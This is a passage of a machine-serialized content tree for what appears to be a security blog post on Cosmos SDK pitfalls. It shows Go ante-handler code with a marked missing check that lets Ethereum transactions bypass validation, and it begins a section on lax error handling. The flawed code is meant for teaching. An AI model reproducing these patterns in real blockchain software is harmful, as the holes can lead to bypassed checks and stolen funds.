EVMKeeper",{"type":21,"tag":153,"props":82193,"children":82194},{"style":160},[82195],{"type":26,"value":792},{"type":21,"tag":153,"props":82197,"children":82198},{"class":155,"line":382},[82199,82204,82209,82213,82217],{"type":21,"tag":153,"props":82200,"children":82201},{"style":192},[82202],{"type":26,"value":82203},"    feeGrantKeeper",{"type":21,"tag":153,"props":82205,"children":82206},{"style":214},[82207],{"type":26,"value":82208}," authante",{"type":21,"tag":153,"props":82210,"children":82211},{"style":160},[82212],{"type":26,"value":355},{"type":21,"tag":153,"props":82214,"children":82215},{"style":214},[82216],{"type":26,"value":81768},{"type":21,"tag":153,"props":82218,"children":82219},{"style":160},[82220],{"type":26,"value":792},{"type":21,"tag":153,"props":82222,"children":82223},{"class":155,"line":501},[82224,82229,82234,82238,82243],{"type":21,"tag":153,"props":82225,"children":82226},{"style":192},[82227],{"type":26,"value":82228},"    channelKeeper",{"type":21,"tag":153,"props":82230,"children":82231},{"style":214},[82232],{"type":26,"value":82233}," channelkeeper",{"type":21,"tag":153,"props":82235,"children":82236},{"style":160},[82237],{"type":26,"value":355},{"type":21,"tag":153,"props":82239,"children":82240},{"style":214},[82241],{"type":26,"value":82242},"Keeper",{"type":21,"tag":153,"props":82244,"children":82245},{"style":160},[82246],{"type":26,"value":792},{"type":21,"tag":153,"props":82248,"children":82249},{"class":155,"line":533},[82250,82255,82260,82264,82268],{"type":21,"tag":153,"props":82251,"children":82252},{"style":192},[82253],{"type":26,"value":82254},"    signModeHandler",{"type":21,"tag":153,"props":82256,"children":82257},{"style":214},[82258],{"type":26,"value":82259}," authsigning",{"type":21,"tag":153,"props":82261,"children":82262},{"style":160},[82263],{"type":26,"value":355},{"type":21,"tag":153,"props":82265,"children":82266},{"style":214},[82267],{"type":26,"value":81936},{"type":21,"tag":153,"props":82269,"children":82270},{"style":160},[82271],{"type":26,"value":792},{"type":21,"tag":153,"props":82273,"children":82274},{"class":155,"line":542},[82275,82279,82283,82287,82291],{"type":21,"tag":153,"props":82276,"children":82277},{"style":160},[82278],{"type":26,"value":2362},{"type":21,"tag":153,"props":82280,"children":82281},{"style":214},[82282],{"type":26,"value":81027},{"type":21,"tag":153,"props":82284,"children":82285},{"style":160},[82286],{"type":26,"value":355},{"type":21,"tag":153,"props":82288,"children":82289},{"style":214},[82290],{"type":26,"value":80767},{"type":21,"tag":153,"props":82292,"children":82293},{"style":160},[82294],{"type":26,"value":236},{"type":21,"tag":153,"props":82296,"children":82297},{"class":155,"line":762},[82298,82302,82307],{"type":21,"tag":153,"props":82299,"children":82300},{"style":1751},[82301],{"type":26,"value":19687},{"type":21,"tag":153,"props":82303,"children":82304},{"style":170},[82305],{"type":26,"value":82306}," func",{"type":21,"tag":153,"props":82308,"children":82309},{"style":160},[82310],{"type":26,"value":773},{"type":21,"tag":153,"props":82312,"children":82313},{"class":155,"line":776},[82314,82318,82322,82326,82330,82334,82338,82342,82346,82350,82354,82359,82363],{"type":21,"tag":153,"props":82315,"children":82316},{"style":192},[82317],{"type":26,"value":28882},{"type":21,"tag":153,"props":82319,"children":82320},{"style":214},[82321],{"type":26,"value":80938},{"type":21,"tag":153,"props":82323,"children":82324},{"style":160},[82325],{"type":26,"value":355},{"type":21,"tag":153,"props":82327,"children":82328},{"style":214},[82329],{"type":26,"value":78646},{"type":21,"tag":153,"props":82331,"children":82332},{"style":160},[82333],{"type":26,"value":1670},{"type":21,"tag":153,"props":82335,"children":82336},{"style":192},[82337],{"type":26,"value":81478},{"type":21,"tag":153,"props":82339,"children":82340},{"style":214},[82341],{"type":26,"value":80938},{"type":21,"tag":153,"props":82343,"children":82344},{"style":160},[82345],{"type":26,"value":355},{"type":21,"tag":153,"props":82347,"children":82348},{"style":214},[82349],{"type":26,"value":80971},{"type":21,"tag":153,"props":82351,"children":82352},{"style":160},[82353],{"type":26,"value":1670},{"type":21,"tag":153,"props":82355,"children":82356},{"style":192},[82357],{"type":26,"value":82358},"sim",{"type":21,"tag":153,"props":82360,"children":82361},{"style":214},[82362],{"type":26,"value":14769},{"type":21,"tag":153,"props":82364,"children":82365},{"style":160},[82366],{"type":26,"value":792},{"type":21,"tag":153,"props":82368,"children":82369},{"class":155,"line":795},[82370,82375,82380,82384,82388,82392,82396,82400,82404],{"type":21,"tag":153,"props":82371,"children":82372},{"style":160},[82373],{"type":26,"value":82374},"    ) (",{"type":21,"tag":153,"props":82376,"children":82377},{"style":192},[82378],{"type":26,"value":82379},"newCtx",{"type":21,"tag":153,"props":82381,"children":82382},{"style":214},[82383],{"type":26,"value":80938},{"type":21,"tag":153,"props":82385,"children":82386},{"style":160},[82387],{"type":26,"value":355},{"type":21,"tag":153,"props":82389,"children":82390},{"style":214},[82391],{"type":26,"value":78646},{"type":21,"tag":153,"props":82393,"children":82394},{"style":160},[82395],{"type":26,"value":1670},{"type":21,"tag":153,"props":82397,"children":82398},{"style":192},[82399],{"type":26,"value":50710},{"type":21,"tag":153,"props":82401,"children":82402},{"style":214},[82403],{"type":26,"value":17579},{"type":21,"tag":153,"props":82405,"children":82406},{"style":160},[82407],{"type":26,"value":2659},{"type":21,"tag":153,"props":82409,"children":82410},{"class":155,"line":808},[82411,82416,82421,82425,82429],{"type":21,"tag":153,"props":82412,"children":82413},{"style":170},[82414],{"type":26,"value":82415},"        var",{"type":21,"tag":153,"props":82417,"children":82418},{"style":192},[82419],{"type":26,"value":82420}," anteHandler",{"type":21,"tag":153,"props":82422,"children":82423},{"style":214},[82424],{"type":26,"value":80938},{"type":21,"tag":153,"props":82426,"children":82427},{"style":160},[82428],{"type":26,"value":355},{"type":21,"tag":153,"props":82430,"children":82431},{"style":214},[82432],{"type":26,"value":82433},"AnteHandler\n",{"type":21,"tag":153,"props":82435,"children":82436},{"class":155,"line":820},[82437],{"type":21,"tag":153,"props":82438,"children":82439},{"emptyLinePlaceholder":16},[82440],{"type":26,"value":759},{"type":21,"tag":153,"props":82442,"children":82443},{"class":155,"line":842},[82444,82449,82454,82458,82462,82466,82471,82475,82479,82483],{"type":21,"tag":153,"props":82445,"children":82446},{"style":1751},[82447],{"type":26,"value":82448},"        defer",{"type":21,"tag":153,"props":82450,"children":82451},{"style":181},[82452],{"type":26,"value":82453}," Recover",{"type":21,"tag":153,"props":82455,"children":82456},{"style":160},[82457],{"type":26,"value":189},{"type":21,"tag":153,"props":82459,"children":82460},{"style":192},[82461],{"type":26,"value":1882},{"type":21,"tag":153,"props":82463,"children":82464},{"style":160},[82465],{"type":26,"value":355},{"type":21,"tag":153,"props":82467,"children":82468},{"style":181},[82469],{"type":26,"value":82470},"Logger",{"type":21,"tag":153,"props":82472,"children":82473},{"style":160},[82474],{"type":26,"value":21072},{"type":21,"tag":153,"props":82476,"children":82477},{"style":198},[82478],{"type":26,"value":1974},{"type":21,"tag":153,"props":82480,"children":82481},{"style":192},[82482],{"type":26,"value":50710},{"type":21,"tag":153,"props":82484,"children":82485},{"style":160},[82486],{"type":26,"value":5909},{"type":21,"tag":153,"props":82488,"children":82489},{"class":155,"line":3204},[82490],{"type":21,"tag":153,"props":82491,"children":82492},{"emptyLinePlaceholder":16},[82493],{"type":26,"value":759},{"type":21,"tag":153,"props":82495,"children":82496},{"class":155,"line":3230},[82497,82502,82506,82510,82514,82518,82522,82527,82531,82536],{"type":21,"tag":153,"props":82498,"children":82499},{"style":192},[82500],{"type":26,"value":82501},"        txWithExtensions",{"type":21,"tag":153,"props":82503,"children":82504},{"style":160},[82505],{"type":26,"value":1670},{"type":21,"tag":153,"props":82507,"children":82508},{"style":192},[82509],{"type":26,"value":81064},{"type":21,"tag":153,"props":82511,"children":82512},{"style":198},[82513],{"type":26,"value":78713},{"type":21,"tag":153,"props":82515,"children":82516},{"style":192},[82517],{"type":26,"value":70322},{"type":21,"tag":153,"props":82519,"children":82520},{"style":160},[82521],{"type":26,"value":81077},{"type":21,"tag":153,"props":82523,"children":82524},{"style":214},[82525],{"type":26,"value":82526},"authante",{"type":21,"tag":153,"props":82528,"children":82529},{"style":160},[82530],{"type":26,"value":355},{"type":21,"tag":153,"props":82532,"children":82533},{"style":214},[82534],{"type":26,"value":82535},"HasExtensionOptionsTx",{"type":21,"tag":153,"props":82537,"children":82538},{"style":160},[82539],{"type":26,"value":5909},{"type":21,"tag":153,"props":82541,"children":82542},{"class":155,"line":3239},[82543,82547,82552],{"type":21,"tag":153,"props":82544,"children":82545},{"style":1751},[82546],{"type":26,"value":2607},{"type":21,"tag":153,"props":82548,"children":82549},{"style":192},[82550],{"type":26,"value":82551}," ok",{"type":21,"tag":153,"props":82553,"children":82554},{"style":160},[82555],{"type":26,"value":236},{"type":21,"tag":153,"props":82557,"children":82558},{"class":155,"line":3253},[82559,82564,82568,82573,82577,82582],{"type":21,"tag":153,"props":82560,"children":82561},{"style":192},[82562],{"type":26,"value":82563},"            opts",{"type":21,"tag":153,"props":82565,"children":82566},{"style":198},[82567],{"type":26,"value":78713},{"type":21,"tag":153,"props":82569,"children":82570},{"style":192},[82571],{"type":26,"value":82572}," txWithExtensions",{"type":21,"tag":153,"props":82574,"children":82575},{"style":160},[82576],{"type":26,"value":355},{"type":21,"tag":153,"props":82578,"children":82579},{"style":181},[82580],{"type":26,"value":82581},"GetExtensionOptions",{"type":21,"tag":153,"props":82583,"children":82584},{"style":160},[82585],{"type":26,"value":10462},{"type":21,"tag":153,"props":82587,"children":82588},{"class":155,"line":3301},[82589,82593,82597,82601,82605,82609,82613,82617],{"type":21,"tag":153,"props":82590,"children":82591},{"style":1751},[82592],{"type":26,"value":61093},{"type":21,"tag":153,"props":82594,"children":82595},{"style":181},[82596],{"type":26,"value":11284},{"type":21,"tag":153,"props":82598,"children":82599},{"style":160},[82600],{"type":26,"value":189},{"type":21,"tag":153,"props":82602,"children":82603},{"style":192},[82604],{"type":26,"value":50852},{"type":21,"tag":153,"props":82606,"children":82607},{"style":160},[82608],{"type":26,"value":2362},{"type":21,"tag":153,"props":82610,"children":82611},{"style":198},[82612],{"type":26,"value":13182},{"type":21,"tag":153,"props":82614,"children":82615},{"style":300},[82616],{"type":26,"value":5799},{"type":21,"tag":153,"props":82618,"children":82619},{"style":160},[82620],{"type":26,"value":236},{"type":21,"tag":153,"props":82622,"children":82623},{"class":155,"line":3346},[82624,82629,82634,82638,82643,82647,82651,82655,82660,82664,82669],{"type":21,"tag":153,"props":82625,"children":82626},{"style":1751},[82627],{"type":26,"value":82628},"                switch",{"type":21,"tag":153,"props":82630,"children":82631},{"style":192},[82632],{"type":26,"value":82633}," typeURL",{"type":21,"tag":153,"props":82635,"children":82636},{"style":198},[82637],{"type":26,"value":78713},{"type":21,"tag":153,"props":82639,"children":82640},{"style":192},[82641],{"type":26,"value":82642}," opts",{"type":21,"tag":153,"props":82644,"children":82645},{"style":160},[82646],{"type":26,"value":211},{"type":21,"tag":153,"props":82648,"children":82649},{"style":300},[82650],{"type":26,"value":2996},{"type":21,"tag":153,"props":82652,"children":82653},{"style":160},[82654],{"type":26,"value":52639},{"type":21,"tag":153,"props":82656,"children":82657},{"style":181},[82658],{"type":26,"value":82659},"GetTypeUrl",{"type":21,"tag":153,"props":82661,"children":82662},{"style":160},[82663],{"type":26,"value":31143},{"type":21,"tag":153,"props":82665,"children":82666},{"style":192},[82667],{"type":26,"value":82668},"typeURL",{"type":21,"tag":153,"props":82670,"children":82671},{"style":160},[82672],{"type":26,"value":236},{"type":21,"tag":153,"props":82674,"children":82675},{"class":155,"line":3355},[82676,82681,82686],{"type":21,"tag":153,"props":82677,"children":82678},{"style":1751},[82679],{"type":26,"value":82680},"                case",{"type":21,"tag":153,"props":82682,"children":82683},{"style":671},[82684],{"type":26,"value":82685}," \"/ethermint.evm.v1.ExtensionOptionsEthereumTx\"",{"type":21,"tag":153,"props":82687,"children":82688},{"style":160},[82689],{"type":26,"value":8299},{"type":21,"tag":153,"props":82691,"children":82692},{"class":155,"line":3364},[82693],{"type":21,"tag":153,"props":82694,"children":82695},{"style":3050},[82696],{"type":26,"value":82697},"                    // handle as *evmtypes.MsgEthereumTx\n",{"type":21,"tag":153,"props":82699,"children":82700},{"class":155,"line":3376},[82701],{"type":21,"tag":153,"props":82702,"children":82703},{"emptyLinePlaceholder":16},[82704],{"type":26,"value":759},{"type":21,"tag":153,"props":82706,"children":82707},{"class":155,"line":3393},[82708,82713,82717,82721,82725,82730],{"type":21,"tag":153,"props":82709,"children":82710},{"style":192},[82711],{"type":26,"value":82712},"                    anteHandler",{"type":21,"tag":153,"props":82714,"children":82715},{"style":198},[82716],{"type":26,"value":255},{"type":21,"tag":153,"props":82718,"children":82719},{"style":192},[82720],{"type":26,"value":80938},{"type":21,"tag":153,"props":82722,"children":82723},{"style":160},[82724],{"type":26,"value":355},{"type":21,"tag":153,"props":82726,"children":82727},{"style":181},[82728],{"type":26,"value":82729},"ChainAnteDecorators",{"type":21,"tag":153,"props":82731,"children":82732},{"style":160},[82733],{"type":26,"value":773},{"type":21,"tag":153,"props":82735,"children":82736},{"class":155,"line":3405},[82737,82742,82746],{"type":21,"tag":153,"props":82738,"children":82739},{"style":181},[82740],{"type":26,"value":82741},"                        NewEthSetUpContextDecorator",{"type":21,"tag":153,"props":82743,"children":82744},{"style":160},[82745],{"type":26,"value":21072},{"type":21,"tag":153,"props":82747,"children":82748},{"style":3050},[82749],{"type":26,"value":81592},{"type":21,"tag":153,"props":82751,"children":82752},{"class":155,"line":3427},[82753],{"type":21,"tag":153,"props":82754,"children":82755},{"style":198},[82756],{"type":26,"value":82757},"                        ...\n",{"type":21,"tag":153,"props":82759,"children":82760},{"class":155,"line":3448},[82761,82766,82770,82775,82779],{"type":21,"tag":153,"props":82762,"children":82763},{"style":181},[82764],{"type":26,"value":82765},"                        NewEthIncrementSenderSequenceDecorator",{"type":21,"tag":153,"props":82767,"children":82768},{"style":160},[82769],{"type":26,"value":189},{"type":21,"tag":153,"props":82771,"children":82772},{"style":192},[82773],{"type":26,"value":82774},"ak",{"type":21,"tag":153,"props":82776,"children":82777},{"style":160},[82778],{"type":26,"value":17877},{"type":21,"tag":153,"props":82780,"children":82781},{"style":3050},[82782],{"type":26,"value":82783},"// innermost AnteDecorator.\n",{"type":21,"tag":153,"props":82785,"children":82786},{"class":155,"line":3456},[82787],{"type":21,"tag":153,"props":82788,"children":82789},{"style":160},[82790],{"type":26,"value":82791},"                    )\n",{"type":21,"tag":153,"props":82793,"children":82794},{"class":155,"line":3493},[82795],{"type":21,"tag":153,"props":82796,"children":82797},{"emptyLinePlaceholder":16},[82798],{"type":26,"value":759},{"type":21,"tag":153,"props":82800,"children":82801},{"class":155,"line":3509},[82802,82807],{"type":21,"tag":153,"props":82803,"children":82804},{"style":1751},[82805],{"type":26,"value":82806},"                default",{"type":21,"tag":153,"props":82808,"children":82809},{"style":160},[82810],{"type":26,"value":8299},{"type":21,"tag":153,"props":82812,"children":82813},{"class":155,"line":3517},[82814,82819,82823,82827,82832,82836,82841],{"type":21,"tag":153,"props":82815,"children":82816},{"style":1751},[82817],{"type":26,"value":82818},"                    return",{"type":21,"tag":153,"props":82820,"children":82821},{"style":192},[82822],{"type":26,"value":28540},{"type":21,"tag":153,"props":82824,"children":82825},{"style":160},[82826],{"type":26,"value":1670},{"type":21,"tag":153,"props":82828,"children":82829},{"style":192},[82830],{"type":26,"value":82831},"stacktrace",{"type":21,"tag":153,"props":82833,"children":82834},{"style":160},[82835],{"type":26,"value":355},{"type":21,"tag":153,"props":82837,"children":82838},{"style":181},[82839],{"type":26,"value":82840},"Propagate",{"type":21,"tag":153,"props":82842,"children":82843},{"style":160},[82844],{"type":26,"value":773},{"type":21,"tag":153,"props":82846,"children":82847},{"class":155,"line":3526},[82848,82853,82857,82861,82865,82870,82874,82879,82883,82887],{"type":21,"tag":153,"props":82849,"children":82850},{"style":192},[82851],{"type":26,"value":82852},"                        sdkerrors",{"type":21,"tag":153,"props":82854,"children":82855},{"style":160},[82856],{"type":26,"value":355},{"type":21,"tag":153,"props":82858,"children":82859},{"style":181},[82860],{"type":26,"value":81143},{"type":21,"tag":153,"props":82862,"children":82863},{"style":160},[82864],{"type":26,"value":189},{"type":21,"tag":153,"props":82866,"children":82867},{"style":192},[82868],{"type":26,"value":82869},"sdkerrors",{"type":21,"tag":153,"props":82871,"children":82872},{"style":160},[82873],{"type":26,"value":355},{"type":21,"tag":153,"props":82875,"children":82876},{"style":192},[82877],{"type":26,"value":82878},"ErrUnknownExtensionOptions",{"type":21,"tag":153,"props":82880,"children":82881},{"style":160},[82882],{"type":26,"value":1670},{"type":21,"tag":153,"props":82884,"children":82885},{"style":192},[82886],{"type":26,"value":82668},{"type":21,"tag":153,"props":82888,"children":82889},{"style":160},[82890],{"type":26,"value":679},{"type":21,"tag":153,"props":82892,"children":82893},{"class":155,"line":3607},[82894,82899],{"type":21,"tag":153,"props":82895,"children":82896},{"style":671},[82897],{"type":26,"value":82898},"                        \"rejecting tx with unsupported extension option\"",{"type":21,"tag":153,"props":82900,"children":82901},{"style":160},[82902],{"type":26,"value":792},{"type":21,"tag":153,"props":82904,"children":82905},{"class":155,"line":3615},[82906],{"type":21,"tag":153,"props":82907,"children":82908},{"style":160},[82909],{"type":26,"value":82791},{"type":21,"tag":153,"props":82911,"children":82912},{"class":155,"line":3629},[82913],{"type":21,"tag":153,"props":82914,"children":82915},{"style":160},[82916],{"type":26,"value":73366},{"type":21,"tag":153,"props":82918,"children":82919},{"class":155,"line":26297},[82920],{"type":21,"tag":153,"props":82921,"children":82922},{"emptyLinePlaceholder":16},[82923],{"type":26,"value":759},{"type":21,"tag":153,"props":82925,"children":82926},{"class":155,"line":26330},[82927,82931,82935,82939,82943,82947,82951,82955,82959],{"type":21,"tag":153,"props":82928,"children":82929},{"style":1751},[82930],{"type":26,"value":63021},{"type":21,"tag":153,"props":82932,"children":82933},{"style":181},[82934],{"type":26,"value":82420},{"type":21,"tag":153,"props":82936,"children":82937},{"style":160},[82938],{"type":26,"value":189},{"type":21,"tag":153,"props":82940,"children":82941},{"style":192},[82942],{"type":26,"value":1882},{"type":21,"tag":153,"props":82944,"children":82945},{"style":160},[82946],{"type":26,"value":1670},{"type":21,"tag":153,"props":82948,"children":82949},{"style":192},[82950],{"type":26,"value":81478},{"type":21,"tag":153,"props":82952,"children":82953},{"style":160},[82954],{"type":26,"value":1670},{"type":21,"tag":153,"props":82956,"children":82957},{"style":192},[82958],{"type":26,"value":82358},{"type":21,"tag":153,"props":82960,"children":82961},{"style":160},[82962],{"type":26,"value":5909},{"type":21,"tag":153,"props":82964,"children":82965},{"class":155,"line":26338},[82966],{"type":21,"tag":153,"props":82967,"children":82968},{"style":160},[82969],{"type":26,"value":61177},{"type":21,"tag":153,"props":82971,"children":82972},{"class":155,"line":26346},[82973],{"type":21,"tag":153,"props":82974,"children":82975},{"style":160},[82976],{"type":26,"value":2765},{"type":21,"tag":153,"props":82978,"children":82979},{"class":155,"line":26355},[82980],{"type":21,"tag":153,"props":82981,"children":82982},{"emptyLinePlaceholder":16},[82983],{"type":26,"value":759},{"type":21,"tag":153,"props":82985,"children":82986},{"class":155,"line":26431},[82987],{"type":21,"tag":153,"props":82988,"children":82989},{"style":3050},[82990],{"type":26,"value":82991},"        // SHOULD CHECK TX IS NOT MsgEthereumTx HERE\n",{"type":21,"tag":153,"props":82993,"children":82994},{"class":155,"line":26464},[82995],{"type":21,"tag":153,"props":82996,"children":82997},{"emptyLinePlaceholder":16},[82998],{"type":26,"value":759},{"type":21,"tag":153,"props":83000,"children":83001},{"class":155,"line":26472},[83002,83007,83011,83015,83019],{"type":21,"tag":153,"props":83003,"children":83004},{"style":1751},[83005],{"type":26,"value":83006},"        switch",{"type":21,"tag":153,"props":83008,"children":83009},{"style":192},[83010],{"type":26,"value":70322},{"type":21,"tag":153,"props":83012,"children":83013},{"style":160},[83014],{"type":26,"value":81077},{"type":21,"tag":153,"props":83016,"children":83017},{"style":170},[83018],{"type":26,"value":35450},{"type":21,"tag":153,"props":83020,"children":83021},{"style":160},[83022],{"type":26,"value":2659},{"type":21,"tag":153,"props":83024,"children":83025},{"class":155,"line":26480},[83026,83031,83035,83039,83043],{"type":21,"tag":153,"props":83027,"children":83028},{"style":1751},[83029],{"type":26,"value":83030},"        case",{"type":21,"tag":153,"props":83032,"children":83033},{"style":214},[83034],{"type":26,"value":80938},{"type":21,"tag":153,"props":83036,"children":83037},{"style":160},[83038],{"type":26,"value":355},{"type":21,"tag":153,"props":83040,"children":83041},{"style":214},[83042],{"type":26,"value":80971},{"type":21,"tag":153,"props":83044,"children":83045},{"style":160},[83046],{"type":26,"value":8299},{"type":21,"tag":153,"props":83048,"children":83049},{"class":155,"line":26517},[83050,83055,83059,83063,83067,83071],{"type":21,"tag":153,"props":83051,"children":83052},{"style":192},[83053],{"type":26,"value":83054},"            anteHandler",{"type":21,"tag":153,"props":83056,"children":83057},{"style":198},[83058],{"type":26,"value":255},{"type":21,"tag":153,"props":83060,"children":83061},{"style":192},[83062],{"type":26,"value":80938},{"type":21,"tag":153,"props":83064,"children":83065},{"style":160},[83066],{"type":26,"value":355},{"type":21,"tag":153,"props":83068,"children":83069},{"style":181},[83070],{"type":26,"value":82729},{"type":21,"tag":153,"props":83072,"children":83073},{"style":160},[83074],{"type":26,"value":773},{"type":21,"tag":153,"props":83076,"children":83077},{"class":155,"line":26530},[83078,83083,83087,83092,83096],{"type":21,"tag":153,"props":83079,"children":83080},{"style":192},[83081],{"type":26,"value":83082},"                authante",{"type":21,"tag":153,"props":83084,"children":83085},{"style":160},[83086],{"type":26,"value":355},{"type":21,"tag":153,"props":83088,"children":83089},{"style":181},[83090],{"type":26,"value":83091},"NewSetUpContextDecorator",{"type":21,"tag":153,"props":83093,"children":83094},{"style":160},[83095],{"type":26,"value":21072},{"type":21,"tag":153,"props":83097,"children":83098},{"style":3050},[83099],{"type":26,"value":81592},{"type":21,"tag":153,"props":83101,"children":83102},{"class":155,"line":26543},[83103],{"type":21,"tag":153,"props":83104,"children":83105},{"style":198},[83106],{"type":26,"value":83107},"                 ...\n",{"type":21,"tag":153,"props":83109,"children":83110},{"class":155,"line":26556},[83111,83115,83119,83124,83128,83132,83136],{"type":21,"tag":153,"props":83112,"children":83113},{"style":192},[83114],{"type":26,"value":83082},{"type":21,"tag":153,"props":83116,"children":83117},{"style":160},[83118],{"type":26,"value":355},{"type":21,"tag":153,"props":83120,"children":83121},{"style":181},[83122],{"type":26,"value":83123},"NewIncrementSequenceDecorator",{"type":21,"tag":153,"props":83125,"children":83126},{"style":160},[83127],{"type":26,"value":189},{"type":21,"tag":153,"props":83129,"children":83130},{"style":192},[83131],{"type":26,"value":82774},{"type":21,"tag":153,"props":83133,"children":83134},{"style":160},[83135],{"type":26,"value":17877},{"type":21,"tag":153,"props":83137,"children":83138},{"style":3050},[83139],{"type":26,"value":83140},"// innermost AnteDecorator\n",{"type":21,"tag":153,"props":83142,"children":83143},{"class":155,"line":26610},[83144],{"type":21,"tag":153,"props":83145,"children":83146},{"style":160},[83147],{"type":26,"value":79812},{"type":21,"tag":153,"props":83149,"children":83150},{"class":155,"line":26619},[83151,83156],{"type":21,"tag":153,"props":83152,"children":83153},{"style":1751},[83154],{"type":26,"value":83155},"        default",{"type":21,"tag":153,"props":83157,"children":83158},{"style":160},[83159],{"type":26,"value":8299},{"type":21,"tag":153,"props":83161,"children":83162},{"class":155,"line":34974},[83163,83167,83171,83175,83179,83183,83187],{"type":21,"tag":153,"props":83164,"children":83165},{"style":1751},[83166],{"type":26,"value":81373},{"type":21,"tag":153,"props":83168,"children":83169},{"style":192},[83170],{"type":26,"value":28540},{"type":21,"tag":153,"props":83172,"children":83173},{"style":160},[83174],{"type":26,"value":1670},{"type":21,"tag":153,"props":83176,"children":83177},{"style":192},[83178],{"type":26,"value":82831},{"type":21,"tag":153,"props":83180,"children":83181},{"style":160},[83182],{"type":26,"value":355},{"type":21,"tag":153,"props":83184,"children":83185},{"style":181},[83186],{"type":26,"value":82840},{"type":21,"tag":153,"props":83188,"children":83189},{"style":160},[83190],{"type":26,"value":773},{"type":21,"tag":153,"props":83192,"children":83193},{"class":155,"line":34995},[83194,83199,83203,83208,83212,83216,83220,83225,83229,83234,83238,83242],{"type":21,"tag":153,"props":83195,"children":83196},{"style":192},[83197],{"type":26,"value":83198},"                sdkerrors",{"type":21,"tag":153,"props":83200,"children":83201},{"style":160},[83202],{"type":26,"value":355},{"type":21,"tag":153,"props":83204,"children":83205},{"style":181},[83206],{"type":26,"value":83207},"Wrapf",{"type":21,"tag":153,"props":83209,"children":83210},{"style":160},[83211],{"type":26,"value":189},{"type":21,"tag":153,"props":83213,"children":83214},{"style":192},[83215],{"type":26,"value":82869},{"type":21,"tag":153,"props":83217,"children":83218},{"style":160},[83219],{"type":26,"value":355},{"type":21,"tag":153,"props":83221,"children":83222},{"style":192},[83223],{"type":26,"value":83224},"ErrUnknownRequest",{"type":21,"tag":153,"props":83226,"children":83227},{"style":160},[83228],{"type":26,"value":1670},{"type":21,"tag":153,"props":83230,"children":83231},{"style":671},[83232],{"type":26,"value":83233},"\"invalid transaction type: %T\"",{"type":21,"tag":153,"props":83235,"children":83236},{"style":160},[83237],{"type":26,"value":1670},{"type":21,"tag":153,"props":83239,"children":83240},{"style":192},[83241],{"type":26,"value":81478},{"type":21,"tag":153,"props":83243,"children":83244},{"style":160},[83245],{"type":26,"value":679},{"type":21,"tag":153,"props":83247,"children":83249},{"class":155,"line":83248},53,[83250,83255],{"type":21,"tag":153,"props":83251,"children":83252},{"style":671},[83253],{"type":26,"value":83254},"                \"transaction is not an SDK tx\"",{"type":21,"tag":153,"props":83256,"children":83257},{"style":160},[83258],{"type":26,"value":792},{"type":21,"tag":153,"props":83260,"children":83262},{"class":155,"line":83261},54,[83263],{"type":21,"tag":153,"props":83264,"children":83265},{"style":160},[83266],{"type":26,"value":79812},{"type":21,"tag":153,"props":83268,"children":83270},{"class":155,"line":83269},55,[83271],{"type":21,"tag":153,"props":83272,"children":83273},{"style":160},[83274],{"type":26,"value":2765},{"type":21,"tag":153,"props":83276,"children":83278},{"class":155,"line":83277},56,[83279],{"type":21,"tag":153,"props":83280,"children":83281},{"emptyLinePlaceholder":16},[83282],{"type":26,"value":759},{"type":21,"tag":153,"props":83284,"children":83286},{"class":155,"line":83285},57,[83287,83291,83295,83299,83303,83307,83311,83315,83319],{"type":21,"tag":153,"props":83288,"children":83289},{"style":1751},[83290],{"type":26,"value":18441},{"type":21,"tag":153,"props":83292,"children":83293},{"style":181},[83294],{"type":26,"value":82420},{"type":21,"tag":153,"props":83296,"children":83297},{"style":160},[83298],{"type":26,"value":189},{"type":21,"tag":153,"props":83300,"children":83301},{"style":192},[83302],{"type":26,"value":1882},{"type":21,"tag":153,"props":83304,"children":83305},{"style":160},[83306],{"type":26,"value":1670},{"type":21,"tag":153,"props":83308,"children":83309},{"style":192},[83310],{"type":26,"value":81478},{"type":21,"tag":153,"props":83312,"children":83313},{"style":160},[83314],{"type":26,"value":1670},{"type":21,"tag":153,"props":83316,"children":83317},{"style":192},[83318],{"type":26,"value":82358},{"type":21,"tag":153,"props":83320,"children":83321},{"style":160},[83322],{"type":26,"value":5909},{"type":21,"tag":153,"props":83324,"children":83326},{"class":155,"line":83325},58,[83327],{"type":21,"tag":153,"props":83328,"children":83329},{"style":160},[83330],{"type":26,"value":539},{"type":21,"tag":153,"props":83332,"children":83334},{"class":155,"line":83333},59,[83335],{"type":21,"tag":153,"props":83336,"children":83337},{"style":160},[83338],{"type":26,"value":548},{"type":21,"tag":22,"props":83340,"children":83341},{},[83342,83344,83349,83351,83358,83359,83366],{"type":26,"value":83343},"Additional examples of incorrect ",{"type":21,"tag":78,"props":83345,"children":83347},{"className":83346},[],[83348],{"type":26,"value":80767},{"type":26,"value":83350}," usage include ",{"type":21,"tag":29,"props":83352,"children":83355},{"href":83353,"rel":83354},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[33],[83356],{"type":26,"value":83357},"yet more bypassable checks and loss of funds",{"type":26,"value":52},{"type":21,"tag":29,"props":83360,"children":83363},{"href":83361,"rel":83362},"https://github.com/cosmos/ibc-go/issues/853",[33],[83364],{"type":26,"value":83365},"incorrect data passing between blockchains",{"type":26,"value":355},{"type":21,"tag":66,"props":83368,"children":83370},{"id":83369},"errors-panics-i-can-handle-it",[83371],{"type":26,"value":83372},"Errors? Panics? I can handle it",{"type":21,"tag":22,"props":83374,"children":83375},{},[83376],{"type":26,"value":83377},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":21,"tag":22,"props":83379,"children":83380},{},[83381],{"type":26,"value":83382},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":21,"tag":22,"props":83384,"children":83385},{},[83386,83388,83394,83396,83401],{"type":26,"value":83387},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":21,"tag":78,"props":83389,"children":83391},{"className":83390},[],[83392],{"type":26,"value":83393},"k.keeper.TotalReward()",{"type":26,"value":83395}," returns zero, the ",{"type":21,"tag":78,"props":83397,"children":83399},{"className":83398},[],[83400],{"type":26,"value":60238},{"type":26,"value":83402}," execution will simply rollback as if nothing has happened.",{"type":21,"tag":143,"props":83404,"children":83406},{"code":83405,"language":78461,"meta":7,"className":78462,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, 